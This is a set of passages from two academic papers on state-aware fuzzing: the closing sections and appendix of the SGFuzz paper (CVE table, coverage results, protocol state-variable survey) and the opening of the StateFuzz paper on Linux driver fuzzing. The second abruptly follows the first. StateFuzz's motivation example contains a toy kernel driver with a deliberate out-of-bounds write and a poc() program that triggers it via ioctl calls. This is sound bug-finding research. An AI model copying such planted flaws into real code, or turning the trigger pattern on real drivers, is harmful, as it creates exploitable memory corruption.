PLAY =⇒ READY =⇒ PLAY ⟩ and requires the following
state transition in the MPEG parser (i.e., enum-type state vari-
able MPEGParseState) ⟨PARSING_PACK_HEADER =⇒
PARSING_PACK_HEADER⟩, all of which are tracked in the
STT. After the first SETUP command, the first PLAY com-
mand starts the parsing process and sets the parser state for
the media file header to PARSING_PACK_HEADER. The
second set of SETUP and PLAY commands stops and restarts
the parsing process, setting the parser state again to PARS-
ING_PACK_HEADER. However, the number of bytes read
in the first round is not reset properly, such that in the second
round the media file header is parsed incorrectly which incurs
an assertion error.

SGFUZZ found 12 new bugs in three widely-used and
well-fuzzed stateful programs within 23 hours fuzzing. 10
of 12 bugs are stateful bugs.

7 Related Work

State Space Inference. The most closely related works em-
ploy learning algorithms to infer state machines. There are
two different ways to infer the state machine from a protocol
implementation. Passive learning based approaches [8, 12,
13, 14, 22, 30] infer a state machine by analyzing a corpus
of protocol messages observed from network traffic. A fun-
damental restriction to this kind of approach is the inability
to learn protocols that communicate over an encrypted chan-
nel. Active learning based approaches [7, 9] actively query a
protocol implementation with generated message sequences
and inference a state machine using Angluin’s L∗ algorithm.
HVlearn [21] infers DFA-models of SSL/TLS hostname veri-
fication implementations via learning algorithms. In contrast,
we do not infer the state machine from a protocol implemen-
tation but derive the STT structure from execution traces to
identify the state space (Sec 3.2). The construction of the
STT requires no analysis of protocol messages or learning

18fifth line in Table 8.
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Subject version Type Stateful State Variable CVE
Live555 1.08 Stack-based overflow in liveMedia/MP3FileSource.cpp True Implicit CVE-2021-38380
Live555 1.08 Heap use after free in liveMedia/MatroskaFile.cpp True Explicit CVE-2021-38381
Live555 1.08 Heap use after free in liveMedia/MPEG1or2Demux.cpp True Explicit CVE-2021-38382
Live555 1.08 Memory leak in liveMedia/AC3AudioStreamFramer.cpp True Explicit CVE-2021-39282
Live555 1.08 Assertion in UsageEnvironment/UsageEnvironment.cpp True Explicit CVE-2021-39283
Live555 1.08 Heap-based overflow in BasicUsageEnvironment/BasicTaskScheduler.cpp True Explicit CVE-2021-41396
Live555 1.08 Memory leak in liveMedia/MPEG1or2Demux.cpp True Implicit CVE-2021-41397

OwnTone 28.2 Heap use after free in src/misc.c False - CVE-2021-38383
DCMTK 3.6.6 Memory leak in dcmnet/libsrc/dulparse.cc False - CVE Requested
DCMTK 3.6.6 Memory leak in dcmnet/libsrc/dulparse.cc True Implicit CVE Requested
DCMTK 3.6.6 Heap use after free in dcmqrdb/libsrc/dcmqrsrv.cc True Explicit CVE Requested
DCMTK 3.6.6 Heap-based overflow in dcmnet/libsrc/diutil.cc True Explicit CVE Requested

Table 8: The 0–day security vulnerabilities found by SGFUZZ. Eight CVEs were assigned. Four CVEs are under application.

algorithms. We provide a new perspective of stateful system
testing, in which protocol state transitions can be identified
by changes on state variables.

Blackbox and Whitebox Protocol Fuzzing. Blackbox
fuzzers [4, 15, 16, 17, 24, 25, 26, 27, 28] take the protocol
server under test as a black box and keep generating mes-
sage sequences to the server for discovering bugs or security
flaws. Despite being simple and easy to be deployed, black-
box fuzzers are completely unaware of the internal structure
of the program, perform random testing, and are thus ineffec-
tive. Whitebox fuzzers use program analysis and constraint
solving to synthesize inputs that exercise different program
paths. MACE [7] combines concolic execution and active
state machine learning for protocol fuzzing. MACE uses con-
crete execution and symbolic execution to iteratively infer and
refine an abstract model of a protocol so as to explore the pro-
gram states more effectively. However, these techniques suffer
from scalability issues arising from the heavy machinery of
symbolic execution.

Greybox fuzzers for protocols. These fuzzers observe pro-
gram states in the execution and use coverage- and state-
feedback to guide input generation for discovering program
states. IJON [2] uses human code annotations to annotate
states. INVSCOV [10] uses the likely invariants to partition
program states. AFLNet [20] uses response codes as states
and evolves a corpus of protocol message sequences based
on coverage- and state-feedback from executed sequences.
For each run, AFLNet selects one of the states and fuzzes
the entire sequence of messages which reach the state. To im-
prove performance, [6] uses fork mechanism to snapshot the
states which are under fuzzing to avoid executing the whole
protocol messages from the start. However, the fork points
need to be specified manually in the code which demands the
knowledge of the protocol state machine. Our approach comes
under greybox fuzzing. SGFUZZ does not require knowledge
of the protocol state machine. Instead, we use state variables
to identify the explored state space. In contrast to AFLNet,
SGFUZZ does not identify states by response codes.

8 Discussion

The contribution of our work is in fuzzing reactive and state-
ful software systems. We propose to capture the exercised
state space using a highly efficient dynamic construction of
a state transition tree (STT). We developed a greybox fuzzer
SGFUZZ for stateful systems. Our experimental results show
that SGFUZZ discovered stateful bugs about twice as fast
as LIBFUZZER, the baseline greybox fuzzer that SGFUZZ
was implemented into. SGFUZZ covers 33x more sequences
of state transitions than LIBFUZZER, 15x more than IJON,
and 260x more than AFLNET. At the same time, SGFUZZ
achieves the same branch coverage about 2x faster than LIB-
FUZZER. Finally, SGFUZZ found 12 new bugs. Our tool
SGFUZZ has been released open source.

https://github.com/bajinsheng/SGFuzz

We followed a responsible disclosure policy for the bugs we
found, and all reported bugs in this paper have now been
fixed by developers. We feel that tools like SGFUZZ have
significant practical usage since the security of the internet-
facing protocol implementations is of paramount importance.
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A Appendix

Due to the space limit, we present some of the evaluation
results here.

A.1 Sensitivity Analysis
We conducted sensitivity analysis to evaluate the effectiveness
of each heuristic in Section 4. To do this, we configured three
new fuzzers at the FUZZBENCH framework: a) SGFUZZx,
a specific configuration of SGFUZZ that does not have the
algorithms of energy schedule in Section 4.2 and prioritizing
input bytes in Section 4.3. b) SGFUZZy, another configuration
of the SGFUZZ that does not have prioritizing input bytes
in Section 4.3. c) HONGGFUZZ, a stateless fuzzers similar
to LIBFUZZER. The experiments were carried out with the
identical configurations as our main experiments: 23 hours
and 20 runs.

Table 9 shows the average state transition coverage. Similar
to LIBFUZZER, HONGGFUZZ is a stateless fuzzer, so its state
transition coverage is little and close to LIBFUZZER. This
demonstrates that other stateless fuzzers are inefficient in state-
space exploration as well. From SGFUZZx, to SGFUZZy, un-
til SGFUZZ, the state transition increase factor to LIBFUZZER
are 4.43x, 21.95x, and 33.92x on average which represent the

Subject HONGGFUZZ LIBFUZZER SGFUZZx SGFUZZy SGFUZZ
H2O 82.65 70.80 114.50 1693.45 1849.30

MbedTLS 18.95 22.80 32.55 49.40 50.80
Curl 144.60 150.25 456.70 8899.00 14630.80

Gstreamer 48.70 49.40 186.50 2399.10 4067.30
OpenSSL 25.34 23.95 30.00 31.03 33.10

Live555 179.65 184.15 594.33 825.25 1162.30
OwnTone 49.71 46.40 675.45 748.32 930.15
DCMTK 183.22 189.25 1233.45 3755.05 6737.05

Table 9: Average state transition coverage for 20 campaigns
of 23 hours.

Subject HONGGFUZZ LIBFUZZER SGFUZZx SGFUZZy SGFUZZ

BRANCH COVERAGE:
H2O 3207.90 2879.20 2885.50 3042.70 3050.68

MbedTLS 11735.15 11929.60 11890.35 11902.05 12057.68
Curl 19987.30 19262.16 16665.80 19619.77 19942.39

Gstreamer 63235.45 63280.06 61807.94 62551.20 61698.56
OpenSSL 13003.46 12463.14 12598.24 12596.10 12610.50

Live555 2197.85 2244.63 2223.15 2270.00 2278.10
OwnTone 2104.13 2184.64 2124.75 2292.00 2312.60
DCMTK 6087.33 6042.15 5992.25 6033.70 6100.50

TIME-TO-COVERAGE:
H2O 3.60h 23.00h 12.41h 7.16h 6.69h

MbedTLS >23.00h 23.00h >23.00h >23.00h 17.86h
Curl 14.25h 23.00h 22.58h 13.88h 12.23h

Gstreamer >23.00h 23.00h >23.00h >23.00h >23.00h
OpenSSL 5.54h 23.00h 15.44h 16.32h 10.08h

Live555 >23.00h 23.00h >23,00h 19.33h 15.86h
OwnTone >23.00h 23.00h >23.00h 8.18h 5.04h
DCMTK 20.11h 23.00h >23,00h >23.00h 14.40h

Table 10: Average branch coverage for 20 campaigns of 23
hours (top), and the time it takes each fuzzer to achieve the
same coverage that LIBFUZZER achieves in 23 hours (0.25h
accuracy; bottom)

contributions of each algorithm in Section 4.1, Section 4.2,
and Section 4.3, respectively. It demonstrates that our heuris-
tic algorithms (Section 4.2 and Section 4.3) promote around
33x state transition coverage. Looking together with Table 3,
SGFUZZx, which only has STT feedback, still slightly out-
performs IJON. We explain that IJON only records the last
four states in a state sequence for high throughput, while we
capture all states of a sequence in the STT.

Table 10 shows the average branch coverage in 23 hours
and the time it takes HONGGFUZZ, SGFUZZx, SGFUZZy, and
SGFUZZ, respectively to achieve the same coverage that LIB-
FUZZER achieves in 23 hours. HONGGFUZZ excels at subjects
H2O, Curl, and OpenSSL and fails miserably at MbedTLS and
OwnTone. The reason for this is that SGFUZZx, SGFUZZy,
and SGFUZZ are all based on LIBFUZZER, while HONGG-
FUZZ is an entirely different fuzzer. In general, SGFUZZx
slightly performs worse than LIBFUZZER as it introduces per-
formance cost for state tracing, and our heuristic algorithms
overcome the performance cost as in SGFUZZy and SGFUZZ.
For Gstreamer which has a big state space in small code space,
SGFUZZy performs better than SGFUZZ as the latter puts too
much effort on the state space exploration. Time-to-coverage
improvement is substantially greater than branch coverage
improvement, which is consistent with our major results in
Table 4.
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Figure 5: Average branch coverage over time for SGFUZZ
and LIBFUZZER across all eight subjects in 23 hours.

A.2 Growth Trend of Branch Coverage
Figure 5 shows the average branch coverage with time for all
fuzzers in Table 4 and HONGGFUZZ in Table 10. All fuzzers’
branch coverage is nearly saturated after the 12 hours, al-
though their state transition coverage is vastly varied. The
slowing growth rate of branch coverage further explains why
the time-to-coverage improvement is more significant than
branch coverage improvement and branch coverage alone
isn’t enough to examine program state space. AFLNET is
substantially slower than other fuzzers, especially on Own-
Tone. On OwnTone, AFLNET ’s throughput is less than 10
inputs/second, while SGFUZZ ’s throughput is above 1000 in-
puts/second. Therefore AFLNET achieves much fewer branch
coverage than others.

A.3 Prevalence of Stateful Bugs
To investigate the prevalence of stateful bugs, we stud-
ied the bugs that were reported in OSS-Fuzz against
our subjects. We use the keyword subject/fuzz_driver
status:Verified -Type=Build-Failure to search avail-
able bugs on the OSS-Fuzz platform19. These bugs were
reported against previous versions, and these reports are pub-
licly available. A bug report links the bug fix and a crash-
reproducing test case. We used this test case to debug these

19https://bugs.chromium.org/p/oss-fuzz/issues/list

Subject Total Stateful Subject Total Stateful
H2O 9 6 Gstreamer 34 28

OpenSSL 4 3 Curl 26 20
MBedTLS 0 0

Total: 73 57 (78.08%)

Table 11: Prevalence of stateful bugs in OSS-Fuzz as of
Sep’21.

crashes and to determine whether these bugs are stateful. Ta-
ble 11 illustrates the prevalence of stateful bugs. We classify
a bug as stateful if the crash location is reached after at least
one state transition. We find that 57 (78.08%) of all 73 bugs
are stateful.

Every four in five bugs that are reported in OSS-Fuzz for
protocol implementations among our subjects are stateful.

To understand the nature of bugs in protocol implemen-
tations, let us discuss all the bugs in H2O, our motivating
example in Section 2.

Stateful bugs in H2O. All 6 stateful bugs in H2O happen af-
ter specific state transitions on the state variable stream->state
explained in Section 2. Each stream in HTTP2 protocol has
a weight value to represent the priority of the stream to be
handled and H2O defines a scheduling component to main-
tain it. Bugs #12093, #12096, #12127, and #12100 have the
same root reason that they happen in the END_STREAM state
of stream->state within the scheduling component, so we
only explain bug #12096 here. To trigger it, the H2O firstly
needs to set a higher priority for the current stream, (e.g.,
via the header frame or a dedicated priority frame), and then
close the stream (e.g., via a "reset stream" or an "end stream"
frame to trigger a scheduler relocation). At the same time,
the value of stream->state will be changed from IDLE until
END_STREAM representing a sequence of state transitions.
The scheduling component only works for active streams, not
closed streams. Lastly, when we assign a new priority to the
closed stream, the bug 12096 is triggered because it does not
check if the stream is closed. Bug #2623 and #3303 have the
same root reason that they happen under the END_STREAM
state of stream->state, but not within the scheduling com-
ponent. We explain the bug #2623 here. To trigger it, H2O
firstly receives a header frame with the end-of-stream attribute
which indicates that no more frames for the stream. Then the
stream will be closed as the corresponding stream->state is
changed to END_STREAM. Lastly, when receiving another
frame called trailing header for the closed stream, H2O may
trigger the bug #2623 because of incomplete checking.

Stateless bugs in H2O. The 3 stateless bugs in H2O are ob-
served before processing requests where no state transitions
execute. Bug #2695 #2923 happens in the response genera-
tion component. H2O defines an object called generator to
maintain related operations of response generation, but the
generator is used without checking if it is NULL incurring
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unexpected behaviors. Bug #37023 happens in the socket con-
nection functions which is also executed before processing
inputs without state transitions.

Totally, 6 out of 9 bugs in H2O are stateful. Although
existing fuzzer can find stateful bugs, the stateful bugs they
found only happen at the END_STREAM state of the stream-
>state which represents the endpoint of the stream state. No
bug is found during the state transitions except for the start
and end states. It provides further evidence to support that the
existing fuzzer cannot efficiently explore the state space of
the protocol programs. On the other hand, even if the state
space of the protocol program has not been explored enough,
the number of stateful bugs is still greater than stateless bugs.
Therefore, we claim that the stateful bugs are prevalent in
protocol implementations.

A.4 Top-50 most widely used open-source pro-
tocol implementations.

To investigate how states are tracked in the programs, We
reviewed the code of top-50 widely used protocol implemen-
tations that are open-sourced. We used the same criterion
as in Section 6 to examine the state variables: the values of
state variables are got from the input and affect the program
execution by the switch or if statements. We only show the
first state variables if several state variables exist in a subject.

Table 12 shows the results. It includes more than 16 pro-
tocols and 50 corresponding subjects. We marked the cor-
responding protocol of the state variable in the Protocols
column or noted Customized if the state variables are used
for customized states, such as connection and data processing
states, not protocol states. Although some subjects (Sendmail,
Postfix, e.g.,) are protocol implementations, the state variables
we found in them are about customized states, not protocol
states. This result explains that developers usually design
many customized states in programs, and these states can not
be found by protocol documents. The column of Variable
Types/Values Examples represent the state variable types: enu-
merated type or macro definition (#define), and an example
of state variable values. All 50 subjects implement their states
by named constants, of which 44 subjects use enum-type vari-
ables.

Case study. We used OpenSSL to explain how the program
states are manipulated by the corresponding state variables.
Openssl has a handshake state machine to maintain
the state during the negotiation process between the two
parties to establish a connection. OpenSSL defines fifty
state values20, partially ordered, to implement it. We focus
on the states on the server-side. At first, it is in the idle
State (TLS_ST_BEFORE). When receiving HELLO message
from the client, it enters State (TLS_ST_SR_CLNT_HELLO),

20https://github.com/openssl/openssl/blob/
5811387bac39cdb6d009dc0139b56e6896259cbd/include/openssl/
ssl.h.in#L1026

sends other optional messages one by one in
States (DTLS_ST_SW_HELLO_VERIFY_REQUEST
to TLS_ST_SW_CERT_REQ), and indicates it
is done by State (TLS_ST_SW_SRVR_DONE).
Then when the client is ready and sends back op-
tional messages, the server checks them in these
States (TLS_ST_SR_CERT to TLS_ST_SR_FINISHED,
TLS_ST_SW_CERT_VRFY). At last, it sends final mes-
sages in States (TLS_ST_SW_SESSION_TICKET to
TLS_ST_SW_ENCRYPTED_EXTENSIONS) to confirm the
server is ready too. States (TLS_ST_SW_KEY_UPDATE,
TLS_ST_SR_KEY_UPDATE) are used for updating keys
after establishing the connection.

Protocols Subjects Variables Types/ Values Examples

FTP
Bftpd enum / STATE_CONNECTED

LightFTP macro / FTP_ACCESS_NOT_LOGGED_IN
vsftpd macro / PRIV_SOCK_LOGIN

SFTP ProFTPd macro / SFTP_SESS_STATE_HAVE_AUTH

TLS/SSL

BoringSSL enum / state13_send_hello_retry_request
libssh2 enum / libssh2_NB_state_idle

MbedTLS enum / MBEDTLS_SSL_HELLO_REQUEST
OpenSSL enum / TLS_ST_BEFORE
WolfSSL enum / SERVER_HELLOVERIFYREQUE..

Botan enum / HELLO_REQUEST

SMTP Exim enum / FF_DELIVERED
OpenSMTPD enum / STATE_HELO

HTTP/2

aolserver enum / SOCK_ACCEPT
H2O enum / H2O_HTTP2_STREAM_STATE_IDLE
httpd enum / H2_SS_IDLE

LiteSpeed httpd enum / STREAM_FIN_RECVD
NgHttp2 enum / NGHTTP2_STREAM_INITIAL
Nginx enum / NGX_HTTP_INITING_REQUEST...

Tengine enum / NGX_HTTP_TFS_STATE_WRITE...
thttpd macro / CHST_FIRSTWORD

WebSocket++ enum / READ_HTTP_REQUEST
Lighttpd enum / LI_CON_STATE_DEAD

RDP FreeRDP enum / DRDYNVC_STATE_INITIAL
xrdp enum / WMLS_RESET

NTP NTP macro / EVNT_UNSPEC
IMAP Dovecot enum / AUTH_REQUEST_STATE_NEW
IRC UnreadIRCd enum / CLIENT_STATUS_TLS_STAR...
SMB Squid enum / SMB_State_NoState

DAAP OwnTone enum / PLAY_STOPPED
SIP Kamailio enum / H_SKIP_EMPTY

DICOM DCMTK enum / DIMSE_StoreBegin

VNC libvncserver enum / RFB_INITIALISATION_SHARED
TigerVNC enum / RFBSTATE_UNINITIALISED

RTSP ffmpeg enum / RTSP_STATE_IDLE
VideoLAN enum / VLC_PLAYER_STATE_STOPPED

MQTT Mosquitto enum / mosq_ms_invalid

Customized

aria2 enum / STATUS_ALL
inetutils marco / TS_DATA

Gstreamer enum / GST_STATE_READY
OpenSSH enum / MA_START
Pure-FTPd enum / FTPWHO_STATE_IDLE
libgcrypt enum / STATE_POWERON
Postfix enum / STRIP_CR_DUNNO

Sendmail enum / SM_EH_PUSHED
Boa HTTPd enum / READ_HEADER
WebServer enum / STATE_PARSE_URI

tevent enum / TEVENT_REQ_INIT
Live555 enum / PARSING_VIDEO_SEQUENCE...

OpenMQTTGateway enum / OFF
Curl enum / MSTATE_INIT

Table 12: The top-50 most widely used open-source protocol
implementations and their state variables.
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Abstract
Coverage-guided fuzzing has achieved great success in find-
ing software vulnerabilities. Existing coverage-guided fuzzers
generally favor test cases that hit new code, and discard ones
that exercise the same code. However, such a strategy is not
optimum. A new test case exercising the same code could be
better than a previous test case, as it may trigger new program
states useful for code exploration and bug discovery.

In this paper, we assessed the limitation of coverage-guided
fuzzing solutions and proposed a state-aware fuzzing solution
StateFuzz to address this issue. First, we model program
states with values of state-variables and utilize static analy-
sis to recognize such variables. Then, we instrument target
programs to track such variables’ values and infer program
state transition at runtime. Lastly, we utilize state informa-
tion to prioritize test cases that can trigger new states, and
apply a three-dimension feedback mechanism to fine-tune
the evolutionary direction of coverage-guided fuzzers. We
have implemented a prototype of StateFuzz, and evaluated
it on Linux upstream drivers and Android drivers. Evaluation
results show that StateFuzz is effective at discovering both
new code and vulnerabilities. It finds 18 unknown vulnerabil-
ities and 2 known but unpatched vulnerabilities, and reaches
19% higher code coverage and 32% higher state coverage
than the state-of-the-art fuzzer Syzkaller.

1 Introduction

Fuzzing has become the most popular and effective solution
for discovering vulnerabilities, and is widely studied by the
industry [20, 27, 40, 53] and the academic community [22, 30,
31, 51]. For example, the OSS-Fuzz project [41] by Google
continuously tests 35 open-source projects and has found
over 25,000 bugs1 as of January 2021. In general, fuzzers
randomly generate test cases and execute target programs
with these test cases. To deal with intrinsic randomness, a

∗Corresponding author: chaoz@tsinghua.edu.cn
1https://google.github.io/oss-fuzz/#trophies

large number of fuzzers follow the steps of AFL [20, 53]
and utilize code coverage to guide the exploration process of
fuzzing. In general, they prioritize test cases that hit new code
(i.e., contribute to code coverage) and use them as starting
points for further exploration.

Despite the great success, coverage-guided fuzzing solu-
tions also have many limitations. The most critical limitation
is that such solutions are code-coverage-centric and are insen-
sitive to other feedback when exploring the test case space.
In practice, a large number of programs (including device
drivers and network services, etc.) have complicated internal
program states and will not continue execution or crash if a
specific state is not reached. For instance, a device will not
work if a specific status register is not set to an expected value.
To test such programs efficiently, a fuzzer should be aware of
program states and explore the state space smartly.

Recent works have shed light on exploring program states.
For instance, IJON [4] utilizes different forms of manually-
provided state representations (e.g., positions in a maze game)
to perform not only fuzzing but also gaming like Super Mario.
InsvCov [19] uses the likely invariants of programs as bound-
aries to partition the program state space. AFLNet [38] uses
servers’ response code as program states to drive network pro-
tocol fuzzing. In addition, StateAFL [32] identifies program
states by performing locality-sensitive hashing on specific
process memory. More research efforts are needed in this di-
rection. In general, there are three questions to answer when
developing a state-aware fuzzing solution.

First, what are program states? Essentially, a program state
is the execution context of a program, including values of all
program variables (from the perspective of software) and
values of all memory and registers (from the perspective of
hardware). However, the number of such states is overwhelm-
ingly large, and it is hard to track all of them in practice. Thus,
a practical fuzzer has to focus on a subset of program states,
as IJON and AFLNet did. Moreover, which states are crucial
for fuzzing and how to reduce the state space are still open
questions.

Second, how to recognize program states and track them
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during fuzzing? IJON relies on manual annotations to mark
states and manual program instrumentation at proper locations
to track states. AFLNet infers program states by resolving
response code from servers’ response messages, which are
not always available. They are either not automated or not
generic. InsvCov uses heavyweight instrumentation to track
values of many variables to infer invariants and estimate pro-
gram state transition. StateAFL needs to compute hashes
of some specific long-lived variables in the runtime to map
each in-memory state as a unique protocol state. They both
introduce significant overhead and reduce the efficiency of
fuzzing. Therefore, a state-aware fuzzer should automatically
recognize program states and track them in an efficient way.

Third, how to utilize program states to guide fuzzing?
IJON replaces the code coverage bitmap used by AFL with
manually-annotated state coverage. AFLNet tracks state (re-
sponse code) transitions in addition to code coverage. They
use one seed corpus to store both test cases of discovering
new code or new states, and favor test cases that increase code
coverage. It is worth exploring new feedback mechanisms to
utilize program states better.

In this paper, we propose a new state-aware fuzzing ap-
proach StateFuzz to complement traditional code coverage
guided fuzzers. StateFuzz utilizes critical variables to repre-
sent program states. These critical variables have the follow-
ing features: they have a long lifetime; they can be updated
(i.e., state transition) by users; they can affect the program’s
control flow or memory access pointers. We denote these
critical variables as state-variables. The combination of all
state-variables’ values forms a program state, which is coarse-
grained but useful for fuzzing.

Further, StateFuzz utilizes static analysis to recognize
state-variables. We notice that rich-state programs (e.g., de-
vice drivers) always require multiple or multi-stage inputs.
Different stages of inputs will trigger different program ac-
tions. Target programs have to track program states across
program actions for synchronization and coordination, and
as a result, state-variables are usually shared and accessed by
different program actions. For example, the state-variables
related to the login state are supposed to be shared by login
request and logout request. We use static analysis to recognize
program actions and state-variables from shared variables ac-
cessed by them. To efficiently track the program states, we
reduce the number of state-variables used in the composition
of a program state and the value space of each state-variable.
First, we model a program state with relevant state-variable
pairs rather than a combination of all state-variables. Second,
for each state-variable, we recognize the set of values (or value
ranges) it could take, where different value choices represent
different states. And then, we divide each state-variable’s
value space into several ranges and track whether each range
is hit during fuzzing.

Lastly, in addition to code coverage, we apply two new
types of feedback and design a three-dimension feedback

mechanism to guide the fuzzing process. The first type of
feedback is that an input is interesting if it could hit a new
value range combination of two variables and these two vari-
ables are both in a relevant state-variable pair. The second
type of feedback is that an input that changes the upper or
lower value bound of a state-variable so far is also interesting.
This feedback still applies when the first feedback mechanism
fails, i.e., when the value ranges of state-variables cannot be
determined.

We have implemented a prototype of StateFuzz for sys-
tem call-based Linux driver fuzzing, based on the fuzzing tool
Syzkaller [27]. We evaluate StateFuzz on drivers in both the
MSM-4.14 kernel used by Android Pixel-4 phones and the
Linux upstream kernel v4.19. The evaluation result shows that
StateFuzz is effective at discovering new vulnerabilities and
new code. StateFuzz in total has discovered 2 known but
unpatched vulnerabilities and 18 new vulnerabilities, among
which 15 have been assigned CVE IDs or bug bounty rewards.
Compared to state-of-the-art approaches, StateFuzz could
find much more vulnerabilities and hit 19% more edges. We
will release the source code of StateFuzz after publication2.

In this paper, we make the following contributions:
• We propose a new fuzzing solution StateFuzz for rich-

states programs, e.g., drivers, to promote fuzzing efficiency
by incorporating program states as feedback.

• We propose to model program states with state-variables
and automatically recognize states using static analysis and
symbolic execution.

• We design a new three-dimension feedback mechanism
to help fuzzers efficiently explore program states while
increasing code coverage.

• We implemented a prototype of StateFuzz and evaluated
it on real-world drivers, and found 18 new vulnerabilities
in drivers while achieving much higher code coverage than
existing approaches.

2 Background

2.1 POSIX Driver Fuzzing
In recent years, many fuzzing solutions have been proposed to
find vulnerabilities, such as IMF [25] for the Mac OS kernel,
iofuzz [18], ioctlfuzzer [16], ioctlbf [8], and ioattack [15] for
the Windows kernel. Syzkaller [27] uses grammar-based tem-
plates to generate test cases to interact with the kernel by sys-
tem call interface and utilizes KCOV [28] and KASAN [26]
to track code coverage and detect memory bugs, respectively.

Everything is a file in the Linux kernel, and so are hardware
devices. The POSIX standard provides a unified abstraction of
hardware to user-space applications. Each file in the directory
/dev represents a hardware device in Linux, which can be
used by user-space programs just like a regular file. For exam-
ple, a user-space application needs to obtain a file descriptor

2https://github.com/vul337/StateFuzz
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of a device and then interacts with it via read and write
system calls. In addition, a special system call with the pro-
totype of int ioctl(int fd, unsigned long request,
...) is provided for user-space applications to support cus-
tomized hardware behaviors according to the request.

In general, Linux drivers have two attack surfaces, one for
hardware devices and the other for system calls. As a result,
there are two dimensions to fuzzing Linux drivers. The first
dimension is fuzzing drivers by injecting inputs from the
hardware device side through configurations or I/O channels
such as Port I/O, MMIO, and DMA. For example, to fuzz
the probe routine of the USB drivers, USBFuzz [36] utilizes
a generic USB device to match with the drivers and sends
malicious USB descriptors to them. PeriScope [43] injects
fuzzing data into the MMIO of the drivers via hooking page
fault handlers.

The second dimension is from system calls. It is challeng-
ing to generate valid test cases since the arguments of system
calls are diverse. For example, a valid ioctl() system call
usually takes a complicated structure and a command (typi-
cally a big integer) as arguments. Syzkaller relies on human
efforts to extract system call interfaces, to trigger drivers’ ac-
tions. DIFUZE [14] applies static analysis to extract supported
request types and associated arguments from customized
interfaces of device drivers, which helps fuzzers to generate
valid test cases.

2.2 Motivation Example

Code coverage is the most widely used feedback by fuzzers.
Fuzzers get a reward signal when the test case hits new code
(e.g., basic blocks, edges, or paths), and then they preserve
this test case for future exploration. Coverage-guided fuzzing
has been proven to be effective at exploring new code and vul-
nerabilities. Recent kernel fuzzing solutions or driver fuzzing
solutions generally fall into this category. However, the code
coverage feedback is limited for the following reasons.

First, some vulnerabilities could only happen under the
premise of some prerequisite states. However, test cases that
explore new code paths sometimes have a very limited con-
tribution to exploring the program’s state space. Therefore,
coverage-centric fuzzers may waste computing resources on
test cases useless for exploring more states and hurt the per-
formance of finding vulnerabilities.

Second, coverage-centric fuzzers may discard test cases
that trigger new states but not new paths since they do not con-
tribute to code coverage. Therefore, coverage-centric fuzzers
may miss the opportunity to find vulnerabilities under these
states. For instance, if a program has rich internal states, a
multi-stage input will fail to explore new code if the program
state is not set correctly in the early stage. Even though a
multi-stage input happens to set the program state in the early
stage properly, the fuzzer would discard it because no new
code is found in the early stage, and fails to use it as a starting

1 /* scull. c : source code file of the example driver. */
2 char *buf;
3 enum state {M0=0, M1, M2, M3, M4, M5, M6, M7};
4 static enum state my_state_A=0;
5 static uint8_t my_state_B=0;
6 static int scull_open(struct inode *inode, struct file *file) {
7 if (!buf) {
8 buf = kmalloc(0x3f, GFP_KERNEL); /* allocate memory */
9 if (!buf) return -ENOMEM;

10 }
11 return 0;
12 }
13 static long scull_ioctl(struct file *filp, unsigned int cmd,

unsigned long arg) {
14 int retval=0, num=0;
15 uint8_t ch;
16 retval = copy_from_user(&ch, (uint8_t *)arg, 1);
17 switch (cmd) {
18 case ’V’:
19 if (buf && my_state_A==M3) {
20 buf[my_state_B] = ch; /* OOB bug here */
21 my_state_A = my_state_B = 0;
22 }
23 break;
24 case ’A’:
25 num = ch - ’0’;
26 if (num < 8 && num >= 0) my_state_A=num;
27 break;
28 case ’B’:
29 if (ch > 0x3f) return -EINVAL;
30 my_state_B = ch;
31 break;
32 default: retval = -EINVAL; break;
33 }
34 return retval;
35 }
36
37 /* poc. c : user-space program for triggering the OOB bug. */
38 void poc() {
39 char ch;
40 int fd = open("/dev/scull", O_RDWR, 0);
41 ch = ’3’; ioctl(fd, ’A’, &ch);
42 ch = ’?’; ioctl(fd, ’B’, &ch);
43 ioctl(fd, ’V’, &ch);
44 }

Listing 1: A motivation example driver.

point to yield new qualified multi-stage inputs.

Listing 1 shows a motivation example. A coverage-
guided fuzzer could find an input, e.g., a program con-
taining system call ioctl(fd,cmd=’A’,*arg=’0’) or sys-
tem call ioctl(fd,cmd=’B’,*arg=’b’), to explore certain
code in the fuzz target. But later, it will discard other in-
puts, e.g., programs with ioctl(fd,cmd=’A’,*arg=’3’)
or ioctl(fd,cmd=’B’,*arg=’?’), which do not hit new
code but instead hit new program states my_state_A=3 or
my_state_B=0x3f (i.e., my_state_B=’?’). As a result, it
has a very small chance to yield new inputs (e.g., a pro-
gram containing ioctl(fd,cmd=’A’,*arg=’3’) along with
ioctl(fd,cmd=’B’,*arg=’?’)) that could trigger these
two states individually or at the same time. In other words, a
coverage-guided fuzzer fails to trigger the vulnerability for a
long time. We have conducted a 48-hour fuzzing campaign
using Szkaller for this example driver program with KASAN
enabled, and we write system call templates (Appendix List-
ing 3) manually for the example driver. It takes Syzkaller 13
hours (14 million inputs generated) to find this vulnerability
(the code coverage trend is shown in Appendix Figure 9).
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Figure 1: Overview of StateFuzz.

In summary, coverage-guided fuzzers will ignore test cases
that exercise the same code path, even though they have ex-
plored new states, and have trouble discovering new code or
vulnerabilities that depend on new states. Thus, it is crucial to
explore program states during fuzzing and prioritize test cases
that trigger new states even if they may not hit new code.

2.3 Program States

Essentially, a program state is the execution context of a pro-
gram, including everything the program currently operates on,
i.e., values of all program variables (from the perspective of
software) and values of all virtual memory and registers (from
the perspective of hardware). Exploring all potential program
states will reveal all potential vulnerabilities. However, it is
infeasible to track such program states during fuzzing due to
computing resource limitations.

Informally, a program state is a certain execution context
maintained by a program to remember preceding events or
user interactions. We have conducted an empirical study on
state-rich programs to learn how they represent program states.
Specifically, we collected 50 code commits from open source
projects containing the keyword "state machine", which indi-
cates the program is processing certain states. The 50 com-
mits consist of (1) all 14 Linux kernel commits in patchwork3

with matching keywords, (2) 21 commits from March 2019
to September 2020 in the MSM kernel4, and (3) 15 com-
mits from popular network protocol projects in Github, in-
cluding nfs-ganesha, curl, httpd, OpenSMTPD, OpenSSL and
OpenSMTPD. Then, we manually analyzed how these code
commits mark the program states. The result shows that, in
48 out of 50 commits, the states are represented by variables
of the boolean/integer or enumeration type (Table 1 describes
the sources of these 50 commits and shows several examples
of variables). For the other two commits, one uses function
pointers to represent states, and the other uses state code in
packets to represent states.

Thus, it is very common for programs to store valuable
program states into variables, and we can utilize variables that
hold critical information to represent program states.

3https://lore.kernel.org/patchwork/
4https://source.codeaurora.org/quic/la/kernel/msm-4.19/

Table 1: Examples of variables that represent program states
in open source projects.

Project Example state-variables Variable Type

Linux Kernel agg->is_active bool
